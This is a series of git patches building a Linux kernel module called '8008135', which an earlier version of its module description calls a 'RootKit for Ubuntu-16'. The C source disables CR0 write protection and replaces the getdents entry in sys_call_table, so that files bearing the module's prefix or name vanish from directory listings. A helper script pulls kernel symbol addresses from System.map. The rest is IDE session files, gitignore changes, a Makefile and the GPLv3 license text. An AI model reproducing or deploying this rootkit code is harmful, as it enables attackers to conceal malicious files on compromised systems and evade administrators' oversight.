From c4040a613b8e40ebd73858028cf016cc2faefa99 Mon Sep 17 00:00:00 2001 From: Jan Koerner Date: Mon, 18 Nov 2019 18:04:30 +0100 Subject: [PATCH 1/8] =?UTF-8?q?Ordner=20/=20Dateien=20verstecken=20hinzuge?= =?UTF-8?q?f=C3=BCgt?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .anjuta/.anjuta/session/anjuta.session | 8 ++ .anjuta/.anjuta/session/dock-layout.xml | 4 + .anjuta/session/anjuta.session | 20 +++++ .anjuta/session/dock-layout.xml | 47 ++++++++++ .anjuta_sym_db.db | Bin 122880 -> 917504 bytes 8008135 | Bin 0 -> 18880 bytes 8008135.c | 114 +++++++++++++++++++----- 8008135.c~ | 95 ++++++++++++++++++++ 8008135.o | Bin 0 -> 4928 bytes Makefile | 32 +------ create_sysgen.sh | 14 +++ gitignore | 3 + 12 files changed, 285 insertions(+), 52 deletions(-) create mode 100644 .anjuta/.anjuta/session/anjuta.session create mode 100644 .anjuta/.anjuta/session/dock-layout.xml create mode 100644 .anjuta/session/anjuta.session create mode 100644 .anjuta/session/dock-layout.xml create mode 100755 8008135 create mode 100644 8008135.c~ create mode 100644 8008135.o create mode 100755 create_sysgen.sh create mode 100644 gitignore diff --git a/.anjuta/.anjuta/session/anjuta.session b/.anjuta/.anjuta/session/anjuta.session new file mode 100644 index 0000000..2c58fea --- /dev/null +++ b/.anjuta/.anjuta/session/anjuta.session @@ -0,0 +1,8 @@ +[Anjuta] +Geometry=1916x1040+0+38 + +[Execution] +Run in terminal=2 + +[Document Manager] +bookmarks=\n\n diff --git a/.anjuta/.anjuta/session/dock-layout.xml b/.anjuta/.anjuta/session/dock-layout.xml new file mode 100644 index 0000000..412e040 --- /dev/null +++ b/.anjuta/.anjuta/session/dock-layout.xml @@ -0,0 +1,4 @@ + + + + diff --git a/.anjuta/session/anjuta.session b/.anjuta/session/anjuta.session new file mode 100644 index 0000000..ea695da --- /dev/null +++ b/.anjuta/session/anjuta.session @@ -0,0 +1,20 @@ +[Anjuta] +Geometry=1916x1040+0+38 + +[File Loader] +Files=../../Makefile#7%%%../../README.md#1%%%../../8008135.c#8 + +[Document Manager] +bookmarks=\n\n + +[Execution] +Run in terminal=2 +Working directories=../../. + +[Build] +Configuration list=1:Default:%%%1:Debug:Debug%%%1:Profiling:Profiling%%%1:Optimized:Optimized +Selected Configuration=Default +BuildArgs/Default=--enable-maintainer-mode +BuildArgs/Debug=--enable-maintainer-mode 'CFLAGS=-g -O0' 'CXXFLAGS=-g -O0' 'JFLAGS=-g -O0' 'FFLAGS=-g -O0' +BuildArgs/Profiling=--enable-maintainer-mode 'CFLAGS=-g -pg' 'CXXFLAGS=-g -pg' 'JFLAGS=-g -pg' 'FFLAGS=-g -pg' +BuildArgs/Optimized=--enable-maintainer-mode 'CFLAGS=-O2' 'CXXFLAGS=-O2' 'JFLAGS=-O2' 'FFLAGS=-O2' diff --git a/.anjuta/session/dock-layout.xml b/.anjuta/session/dock-layout.xml new file mode 100644 index 0000000..da9a403 --- /dev/null +++ b/.anjuta/session/dock-layout.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/.anjuta_sym_db.db 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any later version. - * - * 8008135 is distributed in the hope that it will be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * See the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License along - * with this program. If not, see . - */ - -#include -int main() -{ - printf("Hello world\n"); - return (0); +#include +#include +#include +#include +#include +#include +#include "sysgen.h" + +#define GETDENTS_SYSCALL_NUM 78 +#define WRITE_PROTECT_FLAG (1<<16) +#define HIDE_PREFIX "8008135." +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) +#define MODULE_NAME "8008135" +#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) + + + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; // d_reclen is the way to tell the length of this entry + char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. +}; + +MODULE_AUTHOR("JKE"); +MODULE_LICENSE("GPL v2"); +MODULE_DESCRIPTION("RootKit for Ubuntu-16"); + +typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); +sys_getdents_t sys_getdents_orig = NULL; + +// our new getdents handler +asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { + int boff; + struct linux_dirent* ent; + long ret = sys_getdents_orig(fd, dirent, count); + char* dbuf; + if (ret <= 0) { + return ret; + } + dbuf = (char*)dirent; + // go through the entries, looking for one that has our prefix + for (boff = 0; boff < ret;) { + ent = (struct linux_dirent*)(dbuf + boff); + + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it + // remove this entry by copying everything after it forward + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); + // and adjust the length reported + ret -= ent->d_reclen; + } else { + // on to the next entry + boff += ent->d_reclen; + } + } + return ret; +} + +static int __init lkm_example_init(void) { + printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); + + // record the original getdents handler + sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; + + printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); + + // turn write protect off + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + + // add our new handlers + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; + + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + + printk(KERN_INFO "New syscall in place\n"); + + return 0; +} +static void __exit lkm_example_exit(void) { + // allow us to write to read onlu pages + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + // set getdents handler back + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + printk(KERN_INFO "Old syscall back\n"); } +module_init(lkm_example_init); +module_exit(lkm_example_exit); \ No newline at end of file diff --git a/8008135.c~ b/8008135.c~ new file mode 100644 index 0000000..47776ac --- /dev/null +++ b/8008135.c~ @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include +#include +#include "sysgen.h" + +#define GETDENTS_SYSCALL_NUM 78 +#define WRITE_PROTECT_FLAG (1<<16) +#define HIDE_PREFIX "8008135." +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) +#define MODULE_NAME "8008135" +#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) + + + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; // d_reclen is the way to tell the length of this entry + char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. +}; + +MODULE_AUTHOR("JKE"); +MODULE_LICENSE("GPL v2"); +MODULE_DESCRIPTION("RootKit for Ubuntu-16"); + +typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); +sys_getdents_t sys_getdents_orig = NULL; + +// our new getdents handler +asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { + int boff; + struct linux_dirent* ent; + long ret = sys_getdents_orig(fd, dirent, count); + char* dbuf; + if (ret <= 0) { + return ret; + } + dbuf = (char*)dirent; + // go through the entries, looking for one that has our prefix + for (boff = 0; boff < ret;) { + ent = (struct linux_dirent*)(dbuf + boff); + + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it + // remove this entry by copying everything after it forward + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); + // and adjust the length reported + ret -= ent->d_reclen; + } else { + // on to the next entry + boff += ent->d_reclen; + } + } + return ret; +} + +static int __init lkm_example_init(void) { + printk(KERN_INFO "Hello, World!\n"); + + printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); + + // record the original getdents handler + sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; + + printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); + + // turn write protect off + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + + // add our new handlers + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; + + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + + printk(KERN_INFO "New syscall in place\n"); + + return 0; +} +static void __exit lkm_example_exit(void) { + printk(KERN_INFO "Goodbye, World!\n"); + // allow us to write to read onlu pages + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + // set getdents handler back + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + printk(KERN_INFO "Old syscall back\n"); +} + +module_init(lkm_example_init); +module_exit(lkm_example_exit); \ No newline at end of file diff --git a/8008135.o b/8008135.o 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$(CC) -o $@ -c $(CFLAGS) $< $(INCFLAGS) - -count: - wc *.c *.cc *.C *.cpp *.h *.hpp - +obj-m += 8008135.o +modules: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - rm -f *.o + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -.PHONY: all -.PHONY: count -.PHONY: clean diff --git a/create_sysgen.sh b/create_sysgen.sh new file mode 100755 index 0000000..7892adf --- /dev/null +++ b/create_sysgen.sh @@ -0,0 +1,14 @@ +#!/bin/bash +smap="/boot/System.map-$(uname -r)" + +echo -e "#pragma once" > ./sysgen.h +echo -e "#include " >> ./sysgen.h + +symbline=$(cat $smap | grep '\Wsys_call_table$') +set $symbline +echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h + +procline=$(cat $smap | grep '\Wproc_modules_operations$') +set $procline + +echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h diff --git a/gitignore b/gitignore new file mode 100644 index 0000000..3beb967 --- /dev/null +++ b/gitignore @@ -0,0 +1,3 @@ +/.anjuta/ +/.anjuta_sym_db.db + From 2d55415f24ef7793a66f31a26e54983e6226df86 Mon Sep 17 00:00:00 2001 From: Jan Koerner Date: Mon, 18 Nov 2019 18:08:44 +0100 Subject: [PATCH 2/8] .gitignore fix --- .anjuta/.anjuta/session/anjuta.session | 8 ---- .anjuta/.anjuta/session/dock-layout.xml | 4 -- .anjuta/default.profile | 8 ---- .anjuta/session/anjuta.session | 20 ---------- .anjuta/session/dock-layout.xml | 47 ------------------------ .anjuta_sym_db.db | Bin 917504 -> 0 bytes gitignore => .gitignore | 0 7 files changed, 87 deletions(-) delete mode 100644 .anjuta/.anjuta/session/anjuta.session delete mode 100644 .anjuta/.anjuta/session/dock-layout.xml delete mode 100644 .anjuta/default.profile delete mode 100644 .anjuta/session/anjuta.session delete mode 100644 .anjuta/session/dock-layout.xml delete mode 100644 .anjuta_sym_db.db rename gitignore => .gitignore (100%) diff --git a/.anjuta/.anjuta/session/anjuta.session b/.anjuta/.anjuta/session/anjuta.session deleted file mode 100644 index 2c58fea..0000000 --- a/.anjuta/.anjuta/session/anjuta.session +++ /dev/null @@ -1,8 +0,0 @@ -[Anjuta] -Geometry=1916x1040+0+38 - -[Execution] -Run in terminal=2 - -[Document Manager] -bookmarks=\n\n diff --git a/.anjuta/.anjuta/session/dock-layout.xml b/.anjuta/.anjuta/session/dock-layout.xml deleted file mode 100644 index 412e040..0000000 --- a/.anjuta/.anjuta/session/dock-layout.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - diff --git a/.anjuta/default.profile b/.anjuta/default.profile deleted file mode 100644 index 054294f..0000000 --- a/.anjuta/default.profile +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - diff --git a/.anjuta/session/anjuta.session b/.anjuta/session/anjuta.session deleted file mode 100644 index ea695da..0000000 --- a/.anjuta/session/anjuta.session +++ /dev/null @@ -1,20 +0,0 @@ -[Anjuta] -Geometry=1916x1040+0+38 - -[File Loader] -Files=../../Makefile#7%%%../../README.md#1%%%../../8008135.c#8 - -[Document Manager] -bookmarks=\n\n - -[Execution] -Run in terminal=2 -Working directories=../../. - -[Build] -Configuration list=1:Default:%%%1:Debug:Debug%%%1:Profiling:Profiling%%%1:Optimized:Optimized -Selected Configuration=Default -BuildArgs/Default=--enable-maintainer-mode -BuildArgs/Debug=--enable-maintainer-mode 'CFLAGS=-g -O0' 'CXXFLAGS=-g -O0' 'JFLAGS=-g -O0' 'FFLAGS=-g -O0' -BuildArgs/Profiling=--enable-maintainer-mode 'CFLAGS=-g -pg' 'CXXFLAGS=-g -pg' 'JFLAGS=-g -pg' 'FFLAGS=-g -pg' -BuildArgs/Optimized=--enable-maintainer-mode 'CFLAGS=-O2' 'CXXFLAGS=-O2' 'JFLAGS=-O2' 'FFLAGS=-O2' diff --git a/.anjuta/session/dock-layout.xml b/.anjuta/session/dock-layout.xml deleted file mode 100644 index da9a403..0000000 --- a/.anjuta/session/dock-layout.xml +++ /dev/null @@ -1,47 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/.anjuta_sym_db.db b/.anjuta_sym_db.db deleted file mode 100644 index 1b3246e0b08d5b82ac774548cb812e26c5fdfc54..0000000000000000000000000000000000000000 GIT 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z5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk d1PBlyK!5-N0t5&UAV7cs0RjXF5ST-OzX68LMFao< diff --git a/gitignore b/.gitignore similarity index 100% rename from gitignore rename to .gitignore From 4d67932c00b9d225463278e1bb8c0c337d69304f Mon Sep 17 00:00:00 2001 From: Jan Koerner Date: Mon, 18 Nov 2019 18:10:56 +0100 Subject: [PATCH 3/8] .gitignore fix 2 --- .gitignore | 2 +- 8008135.c~ | 95 ------------------------------------------------------ 2 files changed, 1 insertion(+), 96 deletions(-) delete mode 100644 8008135.c~ diff --git a/.gitignore b/.gitignore index 3beb967..113b5bd 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,3 @@ /.anjuta/ /.anjuta_sym_db.db - +*~ diff --git a/8008135.c~ b/8008135.c~ deleted file mode 100644 index 47776ac..0000000 --- a/8008135.c~ +++ /dev/null @@ -1,95 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include "sysgen.h" - -#define GETDENTS_SYSCALL_NUM 78 -#define WRITE_PROTECT_FLAG (1<<16) -#define HIDE_PREFIX "8008135." -#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) -#define MODULE_NAME "8008135" -#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) - - - -struct linux_dirent { - unsigned long d_ino; - unsigned long d_off; - unsigned short d_reclen; // d_reclen is the way to tell the length of this entry - char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. -}; - -MODULE_AUTHOR("JKE"); -MODULE_LICENSE("GPL v2"); -MODULE_DESCRIPTION("RootKit for Ubuntu-16"); - -typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); -sys_getdents_t sys_getdents_orig = NULL; - -// our new getdents handler -asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { - int boff; - struct linux_dirent* ent; - long ret = sys_getdents_orig(fd, dirent, count); - char* dbuf; - if (ret <= 0) { - return ret; - } - dbuf = (char*)dirent; - // go through the entries, looking for one that has our prefix - for (boff = 0; boff < ret;) { - ent = (struct linux_dirent*)(dbuf + boff); - - if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix - || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it - // remove this entry by copying everything after it forward - memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); - // and adjust the length reported - ret -= ent->d_reclen; - } else { - // on to the next entry - boff += ent->d_reclen; - } - } - return ret; -} - -static int __init lkm_example_init(void) { - printk(KERN_INFO "Hello, World!\n"); - - printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); - - // record the original getdents handler - sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; - - printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); - - // turn write protect off - write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); - - // add our new handlers - sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; - - // turn write protect back on - write_cr0(read_cr0() | WRITE_PROTECT_FLAG); - - printk(KERN_INFO "New syscall in place\n"); - - return 0; -} -static void __exit lkm_example_exit(void) { - printk(KERN_INFO "Goodbye, World!\n"); - // allow us to write to read onlu pages - write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); - // set getdents handler back - sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; - // turn write protect back on - write_cr0(read_cr0() | WRITE_PROTECT_FLAG); - printk(KERN_INFO "Old syscall back\n"); -} - -module_init(lkm_example_init); -module_exit(lkm_example_exit); \ No newline at end of file From d79245ea58f6ba71d426b31d33f6e0c2c8e16fab Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Tue, 19 Nov 2019 15:35:11 +0100 Subject: [PATCH 4/8] Extending gitignore --- .gitignore | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 113b5bd..364a1fd 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,15 @@ -/.anjuta/ -/.anjuta_sym_db.db + +*.anjuta* + +*.mod.* +8008135 +*.out +*.a +*.ko +*.o + *~ +*.symvers +*.order +.tmp_versions/ +*.cmd From ecf642014413bdcf0b7f09691c154f65e3e85f6a Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Tue, 19 Nov 2019 15:39:43 +0100 Subject: [PATCH 5/8] removing unneeded filees from git --- 8008135 | Bin 18880 -> 0 bytes 8008135.o | Bin 4928 -> 0 bytes 2 files changed, 0 insertions(+), 0 deletions(-) delete mode 100755 8008135 delete mode 100644 8008135.o diff --git a/8008135 b/8008135 deleted file mode 100755 index 6d9c3b74be1854aa37fbc7614c7df461a0dbfe21..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18880 zcmeHPYiu0V6~43U$4(rNofmll+0cMYi+7!uu?Z%-ek5yf9)tvlAPno>vAtovYj$T7 zhgKybfG{+WNT{Ny75r%h{R3)M3PM$bk|NYrDv??gRJC;xlu)%0+R~;xvi;7Td)Bk# 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a/.gitignore b/.gitignore index 364a1fd..be19253 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,4 @@ - +sysgen.h *.anjuta* *.mod.* From 7126d0197cfbba390660d8da2d82ffc9eaa5b462 Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Tue, 19 Nov 2019 15:58:29 +0100 Subject: [PATCH 7/8] cleaning up --- 8008135.c | 101 +++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 85 insertions(+), 16 deletions(-) diff --git a/8008135.c b/8008135.c index a706335..0eb6a63 100644 --- a/8008135.c +++ b/8008135.c @@ -1,3 +1,24 @@ +/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */ +/* + * main.c + * Copyright (C) 2019 + * + * 8008135 is free software: you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * 8008135 is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +/**** Includes *************************************************************** +*******************************************************************************/ #include #include #include @@ -6,58 +27,97 @@ #include #include "sysgen.h" + +/**** Defines ***************************************************************** +*******************************************************************************/ + #define GETDENTS_SYSCALL_NUM 78 #define WRITE_PROTECT_FLAG (1<<16) + #define HIDE_PREFIX "8008135." -#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1) + #define MODULE_NAME "8008135" #define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) +/**** Modinfo **************************************************************** +*******************************************************************************/ +MODULE_LICENSE("GPLv3"); +MODULE_AUTHOR("JanKoernerEnterprises"); +MODULE_DESCRIPTION("8008135"); +MODULE_VERSION("0.1"); +/**** type ******************************************************************* +*******************************************************************************/ struct linux_dirent { unsigned long d_ino; unsigned long d_off; - unsigned short d_reclen; // d_reclen is the way to tell the length of this entry - char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. + unsigned short d_reclen; // d_reclen is the way to tell the length of this entry + char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. }; -MODULE_AUTHOR("JKE"); -MODULE_LICENSE("GPL v2"); -MODULE_DESCRIPTION("RootKit for Ubuntu-16"); +typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, + struct linux_dirent __user *dirent, + unsigned int count); + +/**** var ******************************************************************** +*******************************************************************************/ -typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); sys_getdents_t sys_getdents_orig = NULL; -// our new getdents handler -asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { +/*** FUNCTION **************************************************************** +* NAME: sys_getdents_new +* DESCRIPTION: function overriding the original getdents +* PARAMETERS: - +* RETURNS: - +*******************************************************************************/ +asmlinkage long sys_getdents_new(unsigned int fd, + struct linux_dirent __user *dirent, + unsigned int count) { int boff; struct linux_dirent* ent; + long ret = sys_getdents_orig(fd, dirent, count); + char* dbuf; + if (ret <= 0) { return ret; } + dbuf = (char*)dirent; + // go through the entries, looking for one that has our prefix for (boff = 0; boff < ret;) { + ent = (struct linux_dirent*)(dbuf + boff); - if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix - || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it + // if it has hide prefix or module name anywhere, hide it + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { + // remove this entry by copying everything after it forward - memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); // and adjust the length reported + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, + ret - (boff + ent->d_reclen)); ret -= ent->d_reclen; } else { // on to the next entry boff += ent->d_reclen; } } + return ret; } -static int __init lkm_example_init(void) { +/*** FUNCTION **************************************************************** +* NAME: 8008135_init +* DESCRIPTION: initializing Kernel Module +* PARAMETERS: - +* RETURNS: int +*******************************************************************************/ +static int __init init_8008135(void) { printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); // record the original getdents handler @@ -78,7 +138,14 @@ static int __init lkm_example_init(void) { return 0; } -static void __exit lkm_example_exit(void) { + +/*** FUNCTION **************************************************************** +* NAME: 8008135_exit +* DESCRIPTION: unloading Kernel Module +* PARAMETERS: - +* RETURNS: - +*******************************************************************************/ +static void __exit exit_8008135(void) { // allow us to write to read onlu pages write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); // set getdents handler back @@ -88,5 +155,7 @@ static void __exit lkm_example_exit(void) { printk(KERN_INFO "Old syscall back\n"); } -module_init(lkm_example_init); -module_exit(lkm_example_exit); \ No newline at end of file + +// Setting pointers to init-/exit-functions +module_init(init_8008135); +module_exit(exit_8008135); \ No newline at end of file From 814ba97f22521de7e6740232334e07fd4b61d0db Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Tue, 19 Nov 2019 15:59:21 +0100 Subject: [PATCH 8/8] Adding GPLv3 License --- LICENSE | 674 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 674 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..566f141 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ +GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. 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Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +.